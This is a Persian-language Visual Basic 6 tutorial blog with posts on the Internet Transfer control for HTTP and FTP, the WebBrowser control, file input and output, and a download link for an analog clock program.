icRequestSent : درخواست به کامپيوتر مقصد ارسال شد .
icReceivingResponse : در حال دريافت پاسخ از کامپوتر مقصد .
icResponseReceived : پاسخ کامپيوتر مقصد دريافت شد .
icDisconnecting : در حال قطع اتصال با کامپيوتر مقصد .
icDisconnected : اتصال مقصد با موفقيت قطع شد .
icError : در ارتباط با کامپيوتر مقصد خطايي رخ داده است .
icResponseCompleted : تکميل پاسخ – تمام داده ها دريافت شد .
تشخيص خطا در عمليات انتقال داده اهميت بالايي دارد و StateChanged در صورت بروز هر خطايي مقدار icError را برمي گرداند و اطلاعات خطا را در دو خاصيت ResponseCode و ResponseInfo برمي گرداند .
انتقال داده بصورت آسنکرون : کنترل IT متدهاي انعطاف پذير ديگري هم دارد که آسنکرون هستند و اجازه مي دهند تا همزمان با عمليات انتقال داده ، برنامه به وظايف ديگري هم بپردازد . اين متدها با استفاده از Event Driven Model کار مي کنند . بدين معني که وقتي برنامه درخواست انتقال داده اي را مي دهد کنترل IT درخواست را در زمينه برنامه انجام مي دهد و برنامه ازاد است تا به کارهاي ديگرش بپردازد . زمانيکه داده ها بازيابي شود ، داده ها را از بافر داخلي کنترل IT مي خواند .
متد GetChunk : در عمليات انتقال آسنکرون ، بايستي داده را توسط اين متد از بافر داخلي کنترل IT بگيريم :

Inet.GetChunk(datasize[,datatype])x

که پارامتر datasize از نوع long بوده و تعيين مي کند چند بايت از بافر خوانده شود و پارامتر اختياري datatype نوع داده را مشخص مي کند و مي تواند مقادير icString و icByteArray را بگيرد .
زمانيکه StateChanged وارد حالتهاي icResponseReceived و يا icResponseCompleted شد بايد از GetChunk استفاده کنيد . بدين صورت که از يک حلقه استفاده مي کنيم تا کل بافر را بخوانيم :

Private Sub Inet_StateChanged(Byval State as Integer)x
Dim temp1,temp2
Select Case State
Case icResponseCompleted
temp1=””x
temp2=””x
Do
temp1=Inet.GetChunk(512,icString)x
temp2=temp2 & temp1
Loop Until temp1=””x
End Select
End Sub

براي بالابردن کارايي ، بهتر است از قطعات کوچک ( بين 512 تا 1024 بايتي ) استفاده کنيد .
متد Execute : و اما انعطاف پذيرترين متد کنترل IT ، متد Execute است . فرمت کلي اين متد بصورت زير است :

Inet.Execute(url,Command,Data,RequestHeaders)x

که url آدرس مقصد ، Command فرماني است که به کامپيوتر مقصد داده مي شود و Data و RequestHeaders اطلاعات اضافي لازم براي اجراي فرمان داده شده است . فرمانهاي Command همان فرمانهاي HTTP هستند که عبارتند از :
- GET : دريافت داده ها از کامپيوتر مقصد
- HEAD : دريافت اطلاعات header از کامپيوتر مقصد
- POST : ارسال اطلاعات لازم براي تکميل درخواست
- PUT : ارسال فايل براي کامپيوتر ميزبان ( upload )
فرمان GET پرکاربردترين فرمان متد Execute است و داده هاي خوانده شده را در بافر داخلي بافر کنترل IT قرار مي دهد تا بتوان با متد GetChunk آنها را بازيابي نمود .
مثال :

Inet.Execute http://www.microsoft.com,”GET”x

ساير خواص کنترلIT :
- AccessType : نوع دسترسي کنترل IT به اينترنت را مشخص مي کند و سه مقدار مي تواند بگيرد :
icUseDefault : استفاده از تنظيمات رجيستري براي دسترسي به اينترنت
icDirect : اتصال مستقيم کنترل IT به اينترنت
icNamedProxy : اتصال به اينترنت توسط پروکسي
- Document : نام صفحه پيش فرض که در متد Execute از آن استفاده مي شود . اگر به متد Execute پارامتر url را ندهيد از اين صفحه پيش فرض استفاده مي کند .
- Password : کلمه رمز عبور کامپيوتر ميزبان FTP
- Procotol : نوع پروتکل مورد استفاده در متد Execute را مشخص مي کند و 5 مقدار مي تواند بگيرد :
icUnknown : نامعلوم
icDefault : پروتکل پيش فرض
icFTP : پروتکل FTP
icHTTP : پروتکل HTTP
icHTTP : پروتکل حفاظت شده HTTP
- Proxy : نام ميزبان پروکسي
- RequestTimeOut : مدت زماني که کنترل IT صبر مي کند تا اطلاعات را دريافت کند . اگر اين خاصيت صفر باشد کنترل تا هر زمان که لازم باشد براي دريافت پاسخ صبر مي کند . در حالت سنکرون ( متد OpenURL ) بعد از سپري شدن اين مدت زمان ، يک خطا توليد مي شود و در حالت آسنکرون ( متد Execute ) رويداد StateChanged مقدار خطا را بر مي گرداند
- ResponseCode : بعد از بروز حالت icError اين خاصيت کد خطا را مي دهد .
- ResponseInfo : توضيحي درباره خطا
- StillExecuting : اگر True باشد يعني کنترل مشغول انجام کار است .
- URL : آدرس مقصد در متدهاي OpenURL و يا Execute
- UserName : نام کاربر براي ورود به کامپيوتر ميزبان FTP

اتصالات FTP

پروتکل FTP علاوه بر نقل و انتقال فايل بين دو کامپيوتر ، مي تواند نوعي مديريت فايل ( مثل حذف فايل يا ايجاد پوشه ) روي کامپيوتر مقصد را انجام دهد . FTP در انتقال فايل بسيار قويتر از HTTP است ولي به مراتب پيچيده تر از HTTP مي باشد اما کنترل IT اين پيچيدگيها را از ديد برنامه نويس مخفي کرده است .
براي کار با سرورهاي FTP بايد به آنها Login نمود . نوع خاصي از Login به نام Anonymous Login ( ورود ناشناس ) وجود دارد که با آن کاربران مي توانند بدون محدوديت از سايت FTP استفاده کنند . توجه کنيد که حتي براي ورود ناشناس هم نياز به نام کاربر و کلمه عبور است . براي ارسال نام کاربر و کلمه عبور از خواص username و password کنترل IT استفاده مي شود . اگر خاصيت username خالي باشد ( blank ) ، کنترل IT بطور خودکار از anonymous استفاده مي کند و آدرس email کاربر بعنوان passowrd استفاده مي شود .
استفاده از متد OpenURL : متد OpenURL ساده ترين راه انجام عمليات FTP است . دستور زير از يک سايت FTP ليست مي گيرد :

Text.text=Inet.OpenURL("ftp://ftp.microsoft.com",icString)x

براي خواندن فايل از يک سايت FTP بايد در حالت باينري کار کرد :

b()=Inet.OpenURL("ftp://ftp.microsft.com/test.zip",icByteArray)x


استفاده از متد Execute : متد Execute قابليتهاي بيشتري دارد و اجرای آن در FTP نياز به دو پارامتر دارد :

Inet.Execute(url,operation)x


که url آدرس سايت FTP بهمراه نام و مسير فايل و پارامتر operation يک فرمان FTP است . کنترل IT با داده هاي خوانده شده FTP به دو طريق رفتار مي کند :
برخي از داده ها مثل پاسخ فرمان DIR در بافر کنترل IT قرار مي گيرد و بايد آنها را با متد GetChunk خواند .
برخي ديگر از داده ها مثل فايل خوانده شده با فرمان GET مستقيماً روي ديسک نوشته مي شوند و ديگر نيازي به استفاده از متد GetChunk نيست .
فرامين FTP بسيار قوي هستند و حتي به شما اين امکان را مي دهند که فايلها را به روي کامپيوتر مقصد کپي کنيد ، به پوشه هاي کامپيوتر مقصد برويد ، فايلها را حذف کنيد و يا تغيير نام دهيد . البته بايد توجه داشت که فرامين قابل اجرا به نوع ورود به سيستم FTP بستگي دارد . اگر با کاربر anonymous به يک سايت FTP وارد شويد تنها مي تواند فايلها را ببيند و آنها را download کنيد .
مهمترين فرامين FTP عبارتند از :
CD path : به دايرکتوري path مي رويد .
CDUP : به يک دايرکتوري بالاتر مي رود .
CLOSE : بستن اتصال FTP
DELETE file1 : حذف فايل file1
DIR file1 : جستجوي فايل file1 روي دايرکتوري جاري
MKDIR path : ايجاد يک دايرکتوري با نام path
PUT file1 file2 : فايل file1 را از کامپيوتر مبدا روي فايل file2 در کامپيوتر مقصد کپي مي کند .
PWD : نام دايرکتوري جاري در کامپيوتر مقصد را برمي گرداند .
QUIT : قطع اتصال FTP
GET file1 file2 : فايل file1 را از کامپيوتر مقصد روي فايل file2 در کامپيوتر مبدا کپي مي کند .
RENAME file1 file2 : تغيير نام فايل file1 به file2
RMDIR path : حذف دايرکتوري path در کامپيوتر مقصد
SIZE file1 : بدست آوردن تعداد بايتهاي فايل يا دايرکتوري file1
نوشته شده توسط سعید دامغانیان  | لینک ثابت |

کنترل Web Browser – ساخت مرورگر صفحات وب سه شنبه سی و یکم مرداد 1391 21:7

به نام خدا

برنامه Internet Explorer يا iexplore.exe در واقع برنامه کوچکي است که وظيفه اصلي آن ايجاد چارچوبي براي بهم پيوستن عناصر مختلف است و اين عناصر هستند که وظايف اصلي مثل load کردن صفحات وب ، اجراي کدهاي Html و غيره را انجام مي دهند . اصلي ترين عنصري که مستقيماً توسط iexplore.exe استفاده مي شود کنترل Webbrowser ( موجود در فايل shdocrw.dll ) مي باشد . وظيفه اين فايل dll ، عبارت است از حرکت بين صفحات وب ، مديريت تاريخچه صفحات ديده شده و غيره . اين فايل خود از فايل ديگري بنام Mshtml.dll استفاده مي کند که وظيفه آن بررسي و اجراي فايلهاي html است . مايکروسافت به برنامه نويسان اين امکان را داده که بتوانند در برنامه هايشان از کنترل webbrowser استفاده کنند . با استفاده از اين کنترل مي توان به سادگي يک مرورگر وب تقريباً کامل ساخت .

خصوصيات کنترل Webbrowser :
Webbrowser علاوه بر خواص استانداردي مثل width ، height و … خواص زير را دارد :
1 – Busy : اگر در حال load کردن يک صفحه يا در حال جستجو در وب باشد اين خاصيت True است . توسط متد Stop مي توان عمليات جاري را متوقف کرد .
2 – Container : ارجاع به شي نگهدارنده کنترل webbrowser
3 – Document : ارجاع به صفحه html فعلي . براي کار با اين صفحه html مي توان از خواص و متدهابي شي Document استفاده کرد .
4 – LocationName : حاوي آدرس محلي است که اکنون در کنترل webbrowser ، load شده است . اگر اين محل يک صفحه html باشد عنوان آن صفحه خواهد بود و اگر اين محل يک فايل در شبکه باشد مسير کامل آن فايل خواهد بود .
5 – LocationURL : حاوي url محلي است که فعلاً در کنترل webbrowser ، load شده است .
6 – Offline : اگر کنترل webbrowser در حالت عدم اتصال باشد مقدار آن True و در غيراينصورت False است .
7 – Parent : فرمي را نشان مي دهد که کنترل webbrowser در آن قرار دارد .
8 – ReadyState : وضعيت کنترل webbrowser را برمي گرداند .

متدهاي کنترل webbrowser : اين متدها مربوط به مرور در صفحات وب هستند :
1- GoBack : در ليست تاريخچه url ها ، يکي به عقب برمي گردد .
2 – GoForward : در ليست تاريخچه url ها ، يکي به جلو مي رود .
3 – GoHome : به homepage مرورگر مي رود .
4 – Navigate : به يک url يا فايل مي رود . ساختار اين متد بصورت زير است :

Navigate URL [Flags,][TargetFrameName,][PostData,][Headers]x

URL آدرس مقصد مي باشد . Flags نحوه باز شدن آدرس مقصد را تعيين مي کند . اگر اين پارامتر ذکر نشود آدرس جديد در پنجره فعلي باز خواهد شد و به ليست تاريخچه اضافه شده و اگر کپي آن در temperory cache موجود باشد از آنجا خوانده مي شود . مقادير پارامتر Flags عبارتند از :
- NavOpenInNewWindow : آدرس جديد را در پنجره جديدي باز مي کند .
- NavNoHistory : به ليست تاريخچه اضافه نمي شود بلکه جايگزين صفحه فعلي مي شود .
- NavNoReadFromCache : صفحه جديد از cache خوانده نمي شود .
- NavNoWriteToCache : صفحه جديد روي cache نوشته نمي شود

Event هاي کنترل webbrowser : اين event ها مربوط به مرور در وب و تغيير حالت آن هستند :
1 – CommandStateChange : براي فعال يا غيرفعال کردن دکمه هاي Forward و Back در مرورگر استفاده مي شود . شکل کلي فراخواني اين event بصورت زير است :

Private Sub WebBrowser1_CommandStateChange(ByVal Command As Long, ByVal Enable As Boolean)


که command فرماني است که حالت فعال آن تغيير کرده است و دو مقدار مي گيرد : 1 و 3 که بترتيب معادل فرمانهاي GoForward و GoBack هستند .
Enable فعال يا غيرفعال بودن فرمان را تعيين مي کند .
2 – DocumentComplete : اين event زماني فعال مي شود که صفحه در حال load شدن به حالت ReadyState_Complete برود . شکل کلي فراخواني اين event بصورت زير است :
Private Sub WebBrowser1_DocumentComplete(ByVal pDisp As Object, URL As Variant)
که pDisp ارجاعي به کنترل webbrowser است که event در آن رخ داده است و URL آدرس صفحه در حال load شدن است .
3 – DownloadBegin : اين event در آغاز حرکت به صفحه جديد روي مي دهد و هيچ پارامتري نمي گيرد . مرورگر مي تواند در اين event پيغامي براي شروع عمليات جديد نشان مي دهد .
4 – DownloadComplete : اين event در پايان عمليات يا در صورت انصراف کاربر يا بروز خطا روي مي دهد .
5 – ProgressChange : با بروز هر تغييري در وضعيت load ، اين event روي مي دهد . شکل کلي فراخواني آن بصورت زير است :

Private Sub WebBrowser1_ProgressChange(ByVal Progress As Long, ByVal ProgressMax As Long)


که Progress نشان دهنده پيشرفت عمليات ( بايتهاي load شده ) است . پارامتر ProgressMax تعداد کل بايتهايي که بايد load شوند را نشان مي دهد بنابر اين :

(Progress/ProgressMax)*100=درصد پيشرفت عمليات load


يک مثال ساده :
از منوي project مورد components را انتخاب کنيد و از ليست کنترلها ، Microsoft Internet Controls را به toolbar خود اضافه کنيد . يک کنترل WebBrowser روي فرم قرار دهيد و سايز آنرا به اندازه ابعاد فرم خود قرار دهيد . يک textbox و يک دکمه روي فرم قرار دهيد . کد زير را براي event مربوط به کليک دکمه بنويسيد :

WebBrowser.Navigate textbox.text

نوشته شده توسط سعید دامغانیان  | لینک ثابت |

کار با فایلها در ویژوال بیسیک 6.0 سه شنبه سی و یکم مرداد 1391 20:53
کار با فایلها در ویژوال بیسیک 6.0
مقدمه

بعلت عدم وجود اشاره گر در ويژوال بيسيک عمليات کار با فايلها در آن نسبتاً ساده می باشد . بطور کلی فايلها بر دو نوع هستند :
1 - فايلهای متنی Text File : اين فايلها فقط شامل کاراکترهای اسکی وبرخی کاراکترهای خاص مانند انتهای خط و انتهای فايل هستند .
۲ - فايلهای باينریBinary File : شامل هر نوع کاراکتری می توانند باشند و کاربردهای گسترده ای دارندمانند بانک های اطلاعاتی ، فايلهای اجرائی ، فايلهای گرافيکی و غيره ويژوال بيسيک می تواند با هر دو نوع فايل کار کند .

چگونگی باز کردن فايلها
قبل از اينکه بتوان عمليات ورودی/خروجی را روی يک فايل انجام داد ابتدابايستی آنرا باز کرد . باز کردن فايلها در ويژوال بيسيک توسط دستور Open انجام میشود . فرمت کلی اين دستور بصورت زير است :
Open filename [For mode] [Access access][lock] As [#]filenumber [Len=reclen]
[ پارامترهای داخل کروشه اختياری هستند . ]
filename نام فايلی است که می خواهيم آنرا باز کنيم .
mode حالت باز کردن فايل است . اين حالتها عبارتند از :
- Input : فايل بعنوان ورودی بازمی شود .
- Output :فايل بعنوان خروجی باز می شود .
- Binary :فايل ازنوع باينری باز می شود .
- Append :فايل طوری باز می شود که بتوان به انتهایآن چيزی اضافه کرد .
- Random access نوع دسترسی به فايل را مشخص می کند .انواع دسترسيها عبارتند از :
- Read : خواندن فايل
- Write : نوشتن در فايل
- ReadWrite : خواندن و نوشتن فايل
- lock نوع دسترسی ساير برنامه ها بهاين فايل را مشخص می کند . انواع دسترسيها عبارتند از :
- Shared : دسترسیاشتراکی
- Lock Read
- Lock Write
- Lock Read Write
filenumber عددی است که ويژوال بيسيک از آن برای دسترسی به فايل استفاده می کند .اين عدد بايستی برای هر فايل منحصر بفرد و بين ۱ تا ۵۱۱ باشد . برای بدست آوردن اولين شماره آزاد می توان از تابع FreeFile استفاده کرد .

reclen :طول بافر فايل است . اين عدد بايستی از ۳۲۷۶۷ کو چکتر باشد .
در صورتی که فايلی که توسط filename مشخص شده وجود نداشته و فايل برای Append ، Binary ، Output و يا Random باز شده باشد در اينصورت يک فايل جديد با اين نام ساخته می شود .
در صورتی که فايل بصورت باينری باز شده باشد پارامتر Len ناديده گرفته می شود .

چگونگی بستن فايل
پس از پايان کار با فايل برای بستن آن از دستور Close استفاده می کنيم . فرمت اين دستور بصورت زير است :

Close #filenumber
دستورClose بدون هيچ پارامتری تمام فايلهای باز را می بندد .
کار با دايرکتوری
۱ - گرفتن Dir : توسط دستور Dir می توان نام فايلهای موجوددر يک دايرکتوری را بر اساس پارامترهايي که به آن می دهيم پيدا کنيم . برای مثال :
Myfile=Dir$("c:\text\*.txt)"
دستور فوق نام اولين فايل موجود دردايرکتوری C:\TEXT را که پسوند آنها txt باشد در متغير Myfile قرار می دهد . اگردستور فوق رابدون پارامتر مجدداً اجرا کنيم نام دومين فايل برگرداننده میشد و الی آخر
Dir دارای يک پارامتر اختياری است که نوع فايلهای مورد نظر را نيز می توان با آن مشخص نمود . مثال :
Myfile=Dir$("c:\text\*.txt",vbNormal)
مقادير ممکن اين پارامتر عبارتند از : vbNormal، vbHidden ، vbSystem ، vbDirectory
۲ - تغيير دايرکتوری : برای تغيير دايرکتوری از دستور ChDir استفاده می شود مثال :
ChDir "c:\windows\system32"
۳ - تغيير درايو : برای تغيير درايو از دستور ChDrive استفاده می شود مثال :
ChDrive "E:"
۴- ساخت دايرکتوری : برای ايجاد دايرکتوری جديد از دستور MKDir استفاده می شود مثال :
MKDir "c:\MyFolder"
۵ - حذف دايرکتوری : برای حذف دايرکتوری از دستور RmDir استفاده می شود مثال :
RmDir "C:\MyFoler"
خواندن از فايل :

۱ - دستور Input : توسط دستورهای Input و Line Input می توان محتوای فايلهای متنی و باينری را خواند .
دستور Input به دو صورت بکار می رود :
Input #Filenumber,ReadData
ReadData=Input(Charnum,Filenumber)
دستور اول کل يک فايل را خوانده و درمتغير ReadData قرار می دهد . دستور دوم ، تعداد Charnum بايت از فايلی با شماره Filenumber را خوانده و در متغير ReadData قرار می دهد .
اين دو دستور تمام کاراکترهای موجود در فايل را می خوانند . برای اينکه بتوان فايل را خط به خط خواند، از دستور Line Input استفاده کنيد :
Line Input #Filenumber,ReadData
البته از دستور Line Input بيشتر برای خواندن فايلهای متنی استفاده می شود زيراممکنست در فايل باينری هيچ کاراکتر انتهای خط ( CRLF ) وجود نداشته باشد و يکباره کل فايل خوانده شود .
۲ - دستور Get : از اين دستور برای خواندن فايلهای باينری با دسترسی تصادفی ( Random Access ) استفاده میشود :
Get #Filenumber,[Recordnum%],ReadData
اين دستور رکورد شماره Recordnum را ازفايلی با شماره Filenumber می خواند و در متغير ReadDataقرار می دهد . علامت کروشه نشان می دهد که پارامتر Recordnum اختياری است و در صورتيکه ذکر نشود داده ها ازرکورد بعدی فايل ( جائيکه اشاره گر فايل آنجا قرار دارد ) خوانده می شوند .

نوشتن در فايل :
۱ - دستور Print : توسط اين دستور می توان اطلاعاتی را در فايل قرار داد :
Print #FileNumber,WriteData
دستور فوق محتويات متغير WriteData را در فايلی با شماره FileNumber می نويسد . بوسيله دستورPrint می توان اطلاعات را بصورت خط به خط در فايل نوشت برای مثال :
Print #1,"Hello Visual Basic"+Vbcrlf
عبارت Vbcrlf نشان دهنده کاراکتر انتهای خط ( CRLF ) در ويژوال بيسيک می باشد .

۲ - دستور Put : اين دستور برای نوشتن داده ها در فايلهای باينری با دسترسی تصادفی بکار می رود :
Put #FileNumber,[Recordnum],WriteData
اين دستور محتويات متغير WriteData را دررکورد شماره Recordnum قرار می دهد .

تعيين محل رکورد در فايلهای بادسترسی تصادفی :

برای منتقل کردن اشاره گر فايل به يک رکورد در يک فايل باينری با دسترسی اتفاقی ، از دستور Seek استفاده می شود . اين دستور محل يک بايترا در فايل می گيرد و اشاره گر فايل را در آنجا قرار می دهد بنابراين دستورات Put وGet می توانند با اين رکورد کار کنند :
Seek #FileNumber,RecordNumber
تشخيص انتهای فايل :
برای اينکه متوجه شويم به انتهای يکفايل رسيده ايم از دستور EOF استفاده می کنيم . اين دستور يکی از مقادير True يا False را بر می گرداند که نشان می دهد به انتهای فايلرسيده ايم يا نه . از اين تابعدر حلقه های Do-While استفاده می شود :
Do While Not (EOF(FileNumer))
.
.
.
Loop
حلقه فوق تا زمانيکه فايل موردنظر به انتها نرسيده باشداجرا خواهد شد .

بدست آوردن طول يک فايل :
بوسيله دستور LOF می توان طول محتويات يک فايل را بدست آورد :
FileSize=LOF(FileNumber)
بدست آوردن محل اشاره گر فايل :
توسط دستور Loc می توان محلجاری اشاره گر فايل را بدست آورد . اجرا شدن اين دستور محل اشاره گر را تغيير نمیدهد :
FilePosition=Loc(FileNumber)
ساير عمليات کار با فايل :
۱ - حذف فايل :
برای حذف يک يا چند فايل از دستور Kill استفاده می شود :
Kill "C:\Temp\MyFile.txt"
Kill "C:\Temp\*.txt"
۲ - انتقال فايل:
برای انتقال يک فايل از يک دايرکتوری به دايرکتوری ديگر از دستور Name استفاده میشود . مبدا و مقصد بايستی روی يک درايو باشند . اگر دايرکتوری مبدا و مقصد يکی باشدفايل تغيير نام داده می شود :
Name "C:\Temp\File1.txt" To "C:\Temp2\File2.txt"x
۳- کپی کردن فايل :
برای کپی کردن يک فايل از يکدايرکتوری به دايرکتوری ديگر از دستور FileCopy استفاده می شود :
FileCopy "\File1.txt\ To "C:\Temp\File2.txt"
۴ - بدست آوردن تاريخ و زمان آخرين تغيير فايل و يا زمان ايجاد فايل :
برای اين کار از دستور FileDateTimeاستفاده میشود . ابتدا بايستی يک متغير از نوع Variant تعريف کرده و سپس توسط اين دستور تاريخو زمان موردنظر را استخراج کنيم :
Dim FileInfo As Variant
FileInfo=FileDateTime("C:\Temp\MyFile.txt")
۵ - استخراج طول فايل :
برای بدست آوردن طول يک فايل بر حسب بايت از دستور FileLen استفاده می شود :
FileSize=FileLen("C:\MyFile.txt")
۶ - تغيير صفت يک فايل :
برای تغيير صفت يک فايل از دستور SetAttr استفاده می شود . پارامترهای اين دستور عبارتنداز :

0 : فايل معمولی
2 : فايل مخفی
4 : فايل سيستمی
SetAttr FileNumber,FileAttrib

مقابله با خطاهای کار با فايل :
درزمان کار با فايلهای احتمال زيادی وجود دارد که خطا بوجود آيد . بنابراين بايستی درزمان کار با فايلها در صورت ممکن از روتينهای مقابله با خطا استفاده کنيم . شايعترين خطاهای کار با فايل عبارتند از :

۵۲ : شماره يا نام فايل صحيح نيست
۵۳ : فايل پيدا نشد
۵۴ : حالت فايل صحيح نيست
۵۵ : فايل قبلاً بازشده
۵۸ : فايل از قبل وجود دارد
۵۹ : طول رکورد صحيح نيست
۶۱ : ديسک پراست
۶۲ : عبور از انتهای فايل
۶۳ : شماره رکورد صحيح نيست
۷۰ : دسترسی ممنوع است
۷۱ : ديسک آماده نيست
۷۶ : مسير پيدا نشد
در هنگام مقابله با خطا بهتراست از يک ساختار Select-Case استفاده کنيد :
Select Case Err
Case 71
MsgBox "Drive is Not Ready"
.
.
.
End Select
نوشته شده توسط سعید دامغانیان  | لینک ثابت |

ساعت آنالوگ سه شنبه سی و یکم مرداد 1391 11:28
سلام دوستان

ببخشید از غیبت چند روزه من . امروز با یک برنامه دیگه در خدمتتون هستم که ساعت آنالوگه  - چیز جالبیه - توی فرم اگه باشه خوشگل دیده می شه

دانلودش کنید مطمئنم خوشتون می آد.

دانـــلــــود برنــــامه

نوشته شده توسط سعید دامغانیان  | لینک ثابت |